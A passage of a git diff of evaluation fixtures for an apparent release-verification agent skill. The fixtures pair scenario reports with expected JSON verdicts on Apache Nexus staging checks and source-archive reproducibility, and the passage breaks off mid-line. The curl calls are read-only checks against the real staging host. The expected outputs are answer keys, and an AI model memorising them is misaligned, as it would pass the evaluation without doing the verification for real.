a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-1-closed-repo-complete-set/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-1-closed-repo-complete-set/expected.json deleted file mode 100644 index 89459abbf..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-1-closed-repo-complete-set/expected.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "step": "nexus-staging", - "status": "PASS", - "staging_repos": [ - { - "id": "orgapachefoo-1024", - "state": "closed", - "matches_rc": true - } - ], - "nexus_findings": [], - "has_existence_check": true, - "has_inventory_listing": true, - "has_credentialed_state_check": true, - "has_no_write_verbs": true, - "has_no_inline_credentials": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-1-closed-repo-complete-set/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-1-closed-repo-complete-set/report.md deleted file mode 100644 index 6b1f02cc4..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-1-closed-repo-complete-set/report.md +++ /dev/null @@ -1,48 +0,0 @@ - - -release-build.md § JVM artefact checks: `nexus_staging_repo: -orgapachefoo-1024`, `jvm_companion_location: nexus-staging`. The RC is -1.0.0-rc1, staged under dist/dev/foo/1.0.0-rc1/. ASF Nexus -credentials are available at -`~/.config/apache-magpie/asf-nexus/netrc`. - -Staging repository details (authenticated, verbatim): - -```json -{ - "data": { - "repositoryId": "orgapachefoo-1024", - "profileName": "org.apache.foo", - "description": "Managed Release: foo 1.0.0", - "state": "closed", - "transitioning": false - } -} -``` - -Artefact inventory (authenticated content crawl, trimmed to one -module — every entry below carries its own `.asc`, `.sha1` and -`.md5` sibling in the listing): - -```text -/org/apache/foo/foo-core/1.0.0/ - foo-core-1.0.0.jar - foo-core-1.0.0.pom - foo-core-1.0.0-sources.jar - foo-core-1.0.0-javadoc.jar - foo-core-1.0.0.jar.asc foo-core-1.0.0.jar.sha1 - foo-core-1.0.0.pom.asc foo-core-1.0.0.pom.sha1 - foo-core-1.0.0-sources.jar.asc foo-core-1.0.0-sources.jar.sha1 - foo-core-1.0.0-javadoc.jar.asc foo-core-1.0.0-javadoc.jar.sha1 -``` - -Things to classify here: - -- The inventory version is `1.0.0` — the plain release version, no - `-rcN` suffix; the suffix lives in the dist path and tag. The - coordinates correspond to the staged POMs Step 6b verified - locally. -- `state` is `closed`, read authoritatively under the RM's - credentials; the profile listing shows no other staging repository - for `org.apache.foo`. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-2-open-repo/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-2-open-repo/expected.json deleted file mode 100644 index 0c3dd9dbd..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-2-open-repo/expected.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "step": "nexus-staging", - "status": "FAIL", - "staging_repos": [ - { - "id": "orgapachefoo-1025", - "state": "open", - "matches_rc": true - } - ], - "nexus_findings": [ - "orgapachefoo-1025 is open — still mutable, not a valid vote target; the RM must close it before the [VOTE] opens" - ], - "has_existence_check": true, - "has_inventory_listing": true, - "has_credentialed_state_check": true, - "has_no_write_verbs": true, - "has_no_inline_credentials": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-2-open-repo/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-2-open-repo/report.md deleted file mode 100644 index 577f140af..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-2-open-repo/report.md +++ /dev/null @@ -1,34 +0,0 @@ - - -release-build.md § JVM artefact checks: `nexus_staging_repo: -orgapachefoo-1025`, `jvm_companion_location: nexus-staging`. The RC is -1.0.0-rc2, staged under dist/dev/foo/1.0.0-rc2/. ASF Nexus -credentials are available. - -Staging repository details (authenticated, verbatim): - -```json -{ - "data": { - "repositoryId": "orgapachefoo-1025", - "profileName": "org.apache.foo", - "description": "Managed Release: foo 1.0.0", - "state": "open", - "transitioning": false - } -} -``` - -Artefact inventory (authenticated content crawl, trimmed): the tree -is complete for `1.0.0` — every jar, POM and companion carries its -`.asc` and checksum siblings, coordinates match the RC's declared -release version. - -Things to classify here: - -- `state` is `open` — the repository is still mutable and is not a - valid vote target. This is a distinct finding from a - not-reachable repository: something editable is there. The - inventory itself is complete and matching; the state alone decides - this case. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-3-voter-anonymous-missing-asc/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-3-voter-anonymous-missing-asc/report.md index b492fdf3b..43773cd4a 100644 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-3-voter-anonymous-missing-asc/report.md +++ b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-3-voter-anonymous-missing-asc/report.md @@ -6,6 +6,13 @@ orgapachefoo-1024`, `jvm_companion_location: nexus-staging`. The RC is 1.0.0-rc1. The runner is a **voter with no Nexus credentials** — no `~/.config/apache-magpie/asf-nexus/netrc` file exists. +Existence check (anonymous): + +```text +curl -fsS -o /dev/null -w '%{http_code}\n' "https://repository.apache.org/content/repositories/orgapachefoo-1024/" +→ HTTP 200 OK +``` + Staging repository details (authenticated path): ```text @@ -19,10 +26,32 @@ trimmed to one module): ```text /org/apache/foo/foo-core/1.0.0/ - foo-core-1.0.0.jar foo-core-1.0.0.jar.asc - foo-core-1.0.0.pom foo-core-1.0.0.pom.asc - foo-core-1.0.0-sources.jar - foo-core-1.0.0-javadoc.jar foo-core-1.0.0-javadoc.jar.asc + foo-core-1.0.0.jar foo-core-1.0.0.jar.asc foo-core-1.0.0.jar.sha1 + foo-core-1.0.0.pom foo-core-1.0.0.pom.asc foo-core-1.0.0.pom.sha1 + foo-core-1.0.0-sources.jar foo-core-1.0.0-sources.jar.sha1 + foo-core-1.0.0-javadoc.jar foo-core-1.0.0-javadoc.jar.asc foo-core-1.0.0-javadoc.jar.sha1 +``` + +`release-management verify-rc nexus --inventory --existence-code 200 --crawl ` +(no `--rm-credentials`: the runner has none) printed: + +```json +{ + "step": "nexus-staging", + "status": "FAIL", + "staging_repos": [ + { + "id": "orgapachefoo-1024", + "state": "unverified", + "matches_rc": true + } + ], + "nexus_findings": [ + "foo-core-1.0.0-sources.jar has no sibling .asc in the staging repository — signature coverage must match the main artefacts", + "STATE-UNVERIFIED: no Nexus credentials, so the authoritative closed state could not be read — verify by hand in the Nexus UI (stagingRepositories)" + ], + "paste_recipe": "# 1. Existence (anonymous, every run)\ncurl -fsS -o /dev/null -w '%{http_code}\\n' \\\n \"https://repository.apache.org/content/repositories/orgapachefoo-1024/\"\n\n# 4. Artefact inventory (anonymous web-tree crawl, every run)\nbase=\"https://repository.apache.org/content/repositories/orgapachefoo-1024\"\ncrawl() {\n visited=\"\"\n frontier=\"$base\"\n while [ -n \"$frontier\" ]; do\n next=\"\"\n for dir in $frontier; do\n case \",$visited,\" in *\",$dir,\"*) continue ;; esac\n visited=\"$visited,$dir\"\n for href in $(curl -fsS \"${dir%/}/\" | grep -oE 'href=\"[^\"]+\"' | sed 's/^href=\"//;s/\"$//'); do\n case \"$href\" in\n \"../\") continue ;;\n \"https://\"*|\"http://\"*) path=\"$href\" ;;\n /*) path=\"https://repository.apache.org$href\" ;;\n *) path=\"${dir%/}/${href#/}\" ;;\n esac\n case \"$path\" in\n \"$base\"/*) path=\"${path%/}\" ;;\n *) continue ;;\n esac\n case \",$visited,\" in *\",$path,\"*) continue ;; esac\n case \"$href\" in\n */) next=\"$next $path\" ;;\n *) echo \"${path#\"$base/\"}\" ;;\n esac\n done\n done\n frontier=\"$next\"\n done\n}\ncrawl" +} ``` Things to classify here: diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-4-stale-sibling-repos/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-4-stale-sibling-repos/expected.json deleted file mode 100644 index 11626cfda..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-4-stale-sibling-repos/expected.json +++ /dev/null @@ -1,24 +0,0 @@ -{ - "step": "nexus-staging", - "status": "WARN", - "staging_repos": [ - { - "id": "orgapachefoo-1023", - "state": "open", - "matches_rc": false - }, - { - "id": "orgapachefoo-1024", - "state": "closed", - "matches_rc": true - } - ], - "nexus_findings": [ - "orgapachefoo-1023 is a stale sibling staging repository (open, holds 0.9.0 from an abandoned attempt) — drop it after confirming this RC is orgapachefoo-1024" - ], - "has_existence_check": true, - "has_inventory_listing": true, - "has_credentialed_state_check": true, - "has_no_write_verbs": true, - "has_no_inline_credentials": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-4-stale-sibling-repos/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-4-stale-sibling-repos/report.md deleted file mode 100644 index 4c77fc897..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-4-stale-sibling-repos/report.md +++ /dev/null @@ -1,45 +0,0 @@ - - -release-build.md § JVM artefact checks: `nexus_staging_repo: -orgapachefoo-1024`, `jvm_companion_location: nexus-staging`. The RC is -1.0.0-rc1. ASF Nexus credentials are available. - -Profile-wide staging repository listing (authenticated, verbatim): - -```json -{ - "data": [ - { - "repositoryId": "orgapachefoo-1023", - "profileName": "org.apache.foo", - "description": "Managed Release: foo 0.9.0 (abandoned attempt)", - "state": "open", - "transitioning": false - }, - { - "repositoryId": "orgapachefoo-1024", - "profileName": "org.apache.foo", - "description": "Managed Release: foo 1.0.0", - "state": "closed", - "transitioning": false - } - ] -} -``` - -Staging repository details for `orgapachefoo-1024`: `state: closed`, -inventory complete and matching — every jar, POM and companion for -`1.0.0` carries its `.asc` and checksum siblings. - -Things to classify here: - -- The profile holds **two** staging repositories: `orgapachefoo-1023` - is an open leftover from an abandoned 0.9.0 attempt (a retried - deploy is the common real-world footgun), `orgapachefoo-1024` is - this RC's. Surface both — never silently pick one — and proceed - only with the one matching the RC's version, noting the other as - stale. -- `orgapachefoo-1024` itself passes cleanly: closed, matching, - complete. The stale sibling is a warning about housekeeping, not a - defect in this RC. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-5-not-reachable-404/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-5-not-reachable-404/expected.json deleted file mode 100644 index 7ad2d9037..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-5-not-reachable-404/expected.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "step": "nexus-staging", - "status": "FAIL", - "staging_repos": [ - { - "id": "orgapachefoo-1031", - "state": "unverified", - "matches_rc": false - } - ], - "nexus_findings": [ - "orgapachefoo-1031 is not reachable at the id given for this RC (404 on the content tree and on the staging API) — the RC's jar surface does not exist there" - ], - "has_existence_check": true, - "has_inventory_listing": true, - "has_credentialed_state_check": true, - "has_no_write_verbs": true, - "has_no_inline_credentials": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-5-not-reachable-404/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-5-not-reachable-404/report.md deleted file mode 100644 index 441b44a2c..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-5-not-reachable-404/report.md +++ /dev/null @@ -1,31 +0,0 @@ - - -release-build.md § JVM artefact checks: `nexus_staging_repo: -orgapachefoo-1031`. ASF Nexus credentials are available. - -Existence check (anonymous): - -```text -curl -fsS -o /dev/null -w '%{http_code} -' "https://repository.apache.org/content/repositories/orgapachefoo-1031/" -→ HTTP 404 Not Found -``` - -Staging repository details (authenticated): - -```text -curl --netrc-file ... "https://repository.apache.org/service/local/staging/repository/orgapachefoo-1031" -→ HTTP 404 Not Found -``` - -Things to classify here: - -- Both paths answer `404`: the repository does not exist at the id - recorded for this RC (wrong id, already promoted, or never - deployed). A hard `FAIL`, worded factually — never guessed into a - pass, and never conflated with an `open` repository (that one says - "something editable there"; this one says "nothing there"). -- The jar surface the vote is supposed to cover is unreachable, so - no `.asc` / companion checks can run — there is nothing to check - them against. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-6-snapshots-repo-targeted/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-6-snapshots-repo-targeted/expected.json deleted file mode 100644 index 646c29e48..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-6-snapshots-repo-targeted/expected.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "step": "nexus-staging", - "status": "FAIL", - "staging_repos": [ - { - "id": "snapshots", - "state": "unverified", - "matches_rc": false - } - ], - "nexus_findings": [ - "the id resolves to the snapshots repository (content/repositories/snapshots/) — never a valid vote target; the RC's jars appear to be 1.0.0-SNAPSHOT artefacts" - ], - "has_existence_check": true, - "has_inventory_listing": true, - "has_credentialed_state_check": false, - "has_no_write_verbs": true, - "has_no_inline_credentials": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-6-snapshots-repo-targeted/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-6-snapshots-repo-targeted/report.md deleted file mode 100644 index 84ae1048d..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-6-snapshots-repo-targeted/report.md +++ /dev/null @@ -1,31 +0,0 @@ - - -release-build.md § JVM artefact checks: `nexus_staging_repo: -snapshots`. No ASF Nexus credentials available (the runner is a -voter). - -Existence check (anonymous): - -```text -curl -fsS -o /dev/null -w '%{http_code} -' "https://repository.apache.org/content/repositories/snapshots/" -→ HTTP 200 OK -``` - -Artefact inventory (anonymous crawl, trimmed): - -```text -/org/apache/foo/foo-core/1.0.0-SNAPSHOT/ - foo-core-1.0.0-SNAPSHOT.jar - foo-core-1.0.0-SNAPSHOT.pom -``` - -Things to classify here: - -- The id resolves to the snapshots repository — the issue's boundary - condition is explicit: it is never a valid vote target, whatever - the version string claims. A hard `FAIL` naming the snapshots - repository, not a lookup miss. -- The version strings carry `-SNAPSHOT`: unmarked snapshots staged - as an RC is exactly the mistake this exclusion exists to catch. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-7-version-mismatch/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-7-version-mismatch/expected.json deleted file mode 100644 index d30356651..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-7-version-mismatch/expected.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "step": "nexus-staging", - "status": "FAIL", - "staging_repos": [ - { - "id": "orgapachefoo-1027", - "state": "closed", - "matches_rc": false - } - ], - "nexus_findings": [ - "orgapachefoo-1027 holds artefacts for 1.0.1 but the RC declares release version 1.0.0 — the vote would cover jars for some other version" - ], - "has_existence_check": true, - "has_inventory_listing": true, - "has_credentialed_state_check": true, - "has_no_write_verbs": true, - "has_no_inline_credentials": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-7-version-mismatch/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-7-version-mismatch/report.md deleted file mode 100644 index dddf8632c..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-7-version-mismatch/report.md +++ /dev/null @@ -1,33 +0,0 @@ - - -release-build.md § JVM artefact checks: `nexus_staging_repo: -orgapachefoo-1027`. The RC is 1.0.0-rc3 of release version 1.0.0. ASF -Nexus credentials are available. - -Staging repository details (authenticated): - -```json -{"data": {"repositoryId": "orgapachefoo-1027", "profileName": "org.apache.foo", - "description": "Managed Release: foo 1.0.1", "state": "closed", "transitioning": false}} -``` - -Artefact inventory (authenticated crawl, trimmed to one module — -every entry carries its `.asc` and checksum siblings): - -```text -/org/apache/foo/foo-core/1.0.1/ - foo-core-1.0.1.jar foo-core-1.0.1.jar.asc - foo-core-1.0.1.pom foo-core-1.0.1.pom.asc - foo-core-1.0.1-sources.jar foo-core-1.0.1-sources.jar.asc - foo-core-1.0.1-javadoc.jar foo-core-1.0.1-javadoc.jar.asc -``` - -Things to classify here: - -- The staging repository is `closed` and its companion coverage is - complete — but the inventory holds `1.0.1`, not the `1.0.0` this - RC declares. A hard `FAIL`: the vote would cover jars for some - other version. The `-rcN` suffix lives in the dist path, not in - the Maven version, so the expected inventory version is the plain - `1.0.0`. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-8-non-jvm-skip/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-8-non-jvm-skip/expected.json deleted file mode 100644 index a077e5e08..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-8-non-jvm-skip/expected.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "step": "nexus-staging", - "status": "SKIP", - "staging_repos": [], - "nexus_findings": [], - "has_existence_check": false, - "has_skip_comment": true, - "has_credentialed_state_check": false, - "has_no_write_verbs": true, - "has_no_inline_credentials": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-8-non-jvm-skip/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-8-non-jvm-skip/report.md deleted file mode 100644 index 7b371b722..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-8-non-jvm-skip/report.md +++ /dev/null @@ -1,14 +0,0 @@ - - -release-build.md § JVM artefact checks: `nexus_staging_repo` -unset. The Step 1 listing for this RC contains no `.jar` and no -`.pom` — a source-only RC (the project publishes no Maven artefacts). - -Things to classify here: - -- The JVM-only gate skips the step before anything else: a project - with no Maven artefacts has no Nexus staging repository and must - not be warned about one. `SKIP`, stated explicitly. -- The unset `nexus_staging_repo` key is consistent with that — - nothing here needs to be configured. diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-9-malformed-id-skip/expected.json b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-9-malformed-id-skip/expected.json deleted file mode 100644 index e81f15197..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-9-malformed-id-skip/expected.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "step": "nexus-staging", - "status": "SKIP", - "staging_repos": [], - "nexus_findings": [ - "nexus_staging_repo value 'orgapachefoo-latest' does not match the Nexus id shape (orgapache-NNNN) — no probe run; supply a valid staging repository id" - ], - "has_existence_check": false, - "has_skip_comment": true, - "has_credentialed_state_check": false, - "has_no_write_verbs": true, - "has_no_inline_credentials": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-9-malformed-id-skip/report.md b/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-9-malformed-id-skip/report.md deleted file mode 100644 index 10d3017a8..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-6c-nexus-staging/fixtures/case-9-malformed-id-skip/report.md +++ /dev/null @@ -1,14 +0,0 @@ - - -release-build.md § JVM artefact checks: `nexus_staging_repo: -orgapachefoo-latest`. The planning issue body carries the same -value on a `nexus-staging-repo:` line. The RC stages jars. - -Things to classify here: - -- The resolved id does not match the Nexus shape - (`orgapache-NNNN`). The planning issue body is content - the step reads, and the id would be spliced into `curl` URLs the - agent runs itself — so a non-matching value is a `SKIP` naming - the bad value, never a probe. diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-1-identical-pass/expected.json b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-1-identical-pass/expected.json deleted file mode 100644 index 40f9db924..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-1-identical-pass/expected.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "step": "reproducibility", - "status": "PASS", - "mandatory": false, - "source": { - "enabled": true, - "verdict": "identical", - "recorded_commit": "1890a13d2c4e6f8a0b1c2d3e4f5a6b7c8d9e0f12", - "source_date_epoch": 1758326400, - "swhid_dir": "swh:1:dir:3b9f0c2e7a1d4f6b8e0a2c4d6f8a0b2c4e6f8a1b", - "swhid_matches": true, - "rule_failures": [], - "metadata_differences": [], - "content_differences": [] - }, - "binaries": { - "mode": "off", - "identical": [], - "differs": [], - "known_divergences_hit": [] - }, - "trusted_hardware_asserted": false -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-1-identical-pass/report.md b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-1-identical-pass/report.md deleted file mode 100644 index ac76b784b..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-1-identical-pass/report.md +++ /dev/null @@ -1,29 +0,0 @@ - - -RC: 1.0.0-rc1. Staged: https://dist.apache.org/repos/dist/dev/foo/1.0.0-rc1/ -Flags: (none — no --skip-repro, no --trusted-hardware) - -release-management-config.md: automated_release_signing: off -release-build.md: - source_archive_method: git-archive, source_archive_format: tar.gz, - source_archive_prefix: apache-foo-1.0.0 - reproducibility_source: on - reproducibility_binaries: off - -Planning-issue reproducibility record (from release-rc-cut): - repository https://github.com/apache/foo - commit 1890a13d2c4e6f8a0b1c2d3e4f5a6b7c8d9e0f12 - swhid_dir swh:1:dir:3b9f0c2e7a1d4f6b8e0a2c4d6f8a0b2c4e6f8a1b;origin=https://github.com/apache/foo;anchor=swh:1:rev:1890a13d2c4e6f8a0b1c2d3e4f5a6b7c8d9e0f12 - SOURCE_DATE_EPOCH 1758326400 - sha512 3f2a…9c (apache-foo-1.0.0-source.tar.gz) - -Voter ran the recipe on their own laptop: - git rev-parse 1.0.0-rc1^{commit} → 1890a13d2c4e6f8a0b1c2d3e4f5a6b7c8d9e0f12 (matches) - git tag -v 1.0.0-rc1 → Good signature (key in KEYS) - repro-archive check apache-foo-1.0.0-source.tar.gz --epoch 1758326400 \ - --swhid swh:1:dir:3b9f0c2e7a1d4f6b8e0a2c4d6f8a0b2c4e6f8a1b → all PASS - (swhid: content is swh:1:dir:3b9f0c2e7a1d4f6b8e0a2c4d6f8a0b2c4e6f8a1b) - repro-archive build … --epoch 1758326400 -o rebuilt/apache-foo-1.0.0-source.tar.gz - repro-archive compare apache-foo-1.0.0-source.tar.gz rebuilt/apache-foo-1.0.0-source.tar.gz - → verdict identical (sha512 equal) diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-2-differs-fail/expected.json b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-2-differs-fail/expected.json deleted file mode 100644 index df911fa52..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-2-differs-fail/expected.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "step": "reproducibility", - "status": "FAIL", - "mandatory": false, - "source": { - "enabled": true, - "verdict": "differs", - "recorded_commit": "a1b2c3d4e5f60718293a4b5c6d7e8f9012345678", - "source_date_epoch": 1758400000, - "rule_failures": ["modification-times", "zip-extra-fields"], - "metadata_differences": [], - "content_differences": [ - "added apache-foo-2.4.0/src/foo/__pycache__/core.cpython-312.pyc", - "added apache-foo-2.4.0/.env.local", - "changed apache-foo-2.4.0/src/foo/version.py" - ] - }, - "binaries": { - "mode": "off", - "identical": [], - "differs": [], - "known_divergences_hit": [] - }, - "trusted_hardware_asserted": false -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-2-differs-fail/report.md b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-2-differs-fail/report.md deleted file mode 100644 index 3f7f99d45..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-2-differs-fail/report.md +++ /dev/null @@ -1,26 +0,0 @@ - - -RC: 2.4.0-rc1. Staged: https://dist.apache.org/repos/dist/dev/foo/2.4.0-rc1/ -Flags: (none) - -release-management-config.md: automated_release_signing: off -release-build.md: - source_archive_method: git-archive, source_archive_format: zip, - source_archive_prefix: apache-foo-2.4.0 - reproducibility_source: on - reproducibility_binaries: off - -Planning-issue reproducibility record: - commit a1b2c3d4e5f60718293a4b5c6d7e8f9012345678 - SOURCE_DATE_EPOCH 1758400000 - -Voter's run: - git rev-parse 2.4.0-rc1^{commit} → a1b2c3d4e5f60718293a4b5c6d7e8f9012345678 (matches) - repro-archive check apache-foo-2.4.0-source.zip --epoch 1758400000 - → FAIL modification-times (3 distinct timestamps); FAIL zip-extra-fields - repro-archive compare apache-foo-2.4.0-source.zip rebuilt/apache-foo-2.4.0-source.zip - → verdict differs - added apache-foo-2.4.0/src/foo/__pycache__/core.cpython-312.pyc - added apache-foo-2.4.0/.env.local - changed apache-foo-2.4.0/src/foo/version.py diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-3-content-identical-warn/expected.json b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-3-content-identical-warn/expected.json deleted file mode 100644 index eabc70502..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-3-content-identical-warn/expected.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "step": "reproducibility", - "status": "WARN", - "mandatory": false, - "source": { - "enabled": true, - "verdict": "content-identical", - "recorded_commit": "0f1e2d3c4b5a69788796a5b4c3d2e1f0aabbccdd", - "source_date_epoch": 1758500000, - "rule_failures": ["zip-extra-fields"], - "content_differences": [] - }, - "binaries": { - "mode": "off", - "identical": [], - "differs": [], - "known_divergences_hit": [] - }, - "trusted_hardware_asserted": false -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-3-content-identical-warn/report.md b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-3-content-identical-warn/report.md deleted file mode 100644 index d052a9e4f..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-3-content-identical-warn/report.md +++ /dev/null @@ -1,26 +0,0 @@ - - -RC: 0.2.0-rc1. Staged: https://dist.apache.org/repos/dist/dev/magpie/0.2.0-rc1/ -Flags: (none) - -release-management-config.md: automated_release_signing: off -release-build.md: - source_archive_method: git-archive, source_archive_format: zip, - source_archive_prefix: apache-magpie-0.2.0 - reproducibility_source: on - reproducibility_binaries: off - -Planning-issue reproducibility record: - commit 0f1e2d3c4b5a69788796a5b4c3d2e1f0aabbccdd - SOURCE_DATE_EPOCH 1758500000 - note: RM built with a plain `git archive --format=zip` (git 2.44), not repro-archive - -Voter's run (git 2.55): - git rev-parse 0.2.0-rc1^{commit} → 0f1e2d3c4b5a69788796a5b4c3d2e1f0aabbccdd (matches) - repro-archive check apache-magpie-0.2.0-source.zip --epoch 1758500000 - → FAIL zip-extra-fields (every member carries a 9-byte extra field) - repro-archive compare apache-magpie-0.2.0-source.zip rebuilt/apache-magpie-0.2.0-source.zip - → verdict content-identical - metadata reproducibility check zip-extra-fields fails on A - metadata compression or container bytes differ (same members, same modes) diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-4-content-identical-ci-signed-fail/expected.json b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-4-content-identical-ci-signed-fail/expected.json deleted file mode 100644 index 0ae2de5d0..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-4-content-identical-ci-signed-fail/expected.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "step": "reproducibility", - "status": "FAIL", - "mandatory": true, - "source": { - "enabled": true, - "verdict": "content-identical", - "recorded_commit": "9988776655443322110000ffeeddccbbaa998877", - "source_date_epoch": 1758412800, - "content_differences": [] - }, - "binaries": { - "mode": "byte-identical", - "identical": ["apache-foo-3.2.0-bin.tar.gz"], - "differs": [], - "known_divergences_hit": [] - }, - "trusted_hardware_asserted": true -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-4-content-identical-ci-signed-fail/report.md b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-4-content-identical-ci-signed-fail/report.md deleted file mode 100644 index db73311eb..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-4-content-identical-ci-signed-fail/report.md +++ /dev/null @@ -1,26 +0,0 @@ - - -RC: 3.2.0-rc2. Project: Apache Foo (project.md → organization: ASF). -Staged in ATR by the release-candidate workflow. -Flags: --skip-repro --trusted-hardware --post-to https://github.com/apache/foo/issues/300 - -release-management-config.md: automated_release_signing: enabled -release-build.md: - source_archive_method: git-archive, source_archive_format: tar.gz, - source_archive_prefix: apache-foo-3.2.0 - reproducibility_source: on - reproducibility_binaries: byte-identical - binary_rebuild_command: mvn -Papache-release -Dproject.build.outputTimestamp="${SOURCE_DATE_EPOCH}" clean package - expected_artefacts: apache-foo-3.2.0-source.tar.gz, apache-foo-3.2.0-bin.tar.gz - -Planning-issue reproducibility record (from the CI run): - commit 9988776655443322110000ffeeddccbbaa998877 - SOURCE_DATE_EPOCH 1758412800 - -Committer's run on their own workstation: - git rev-parse 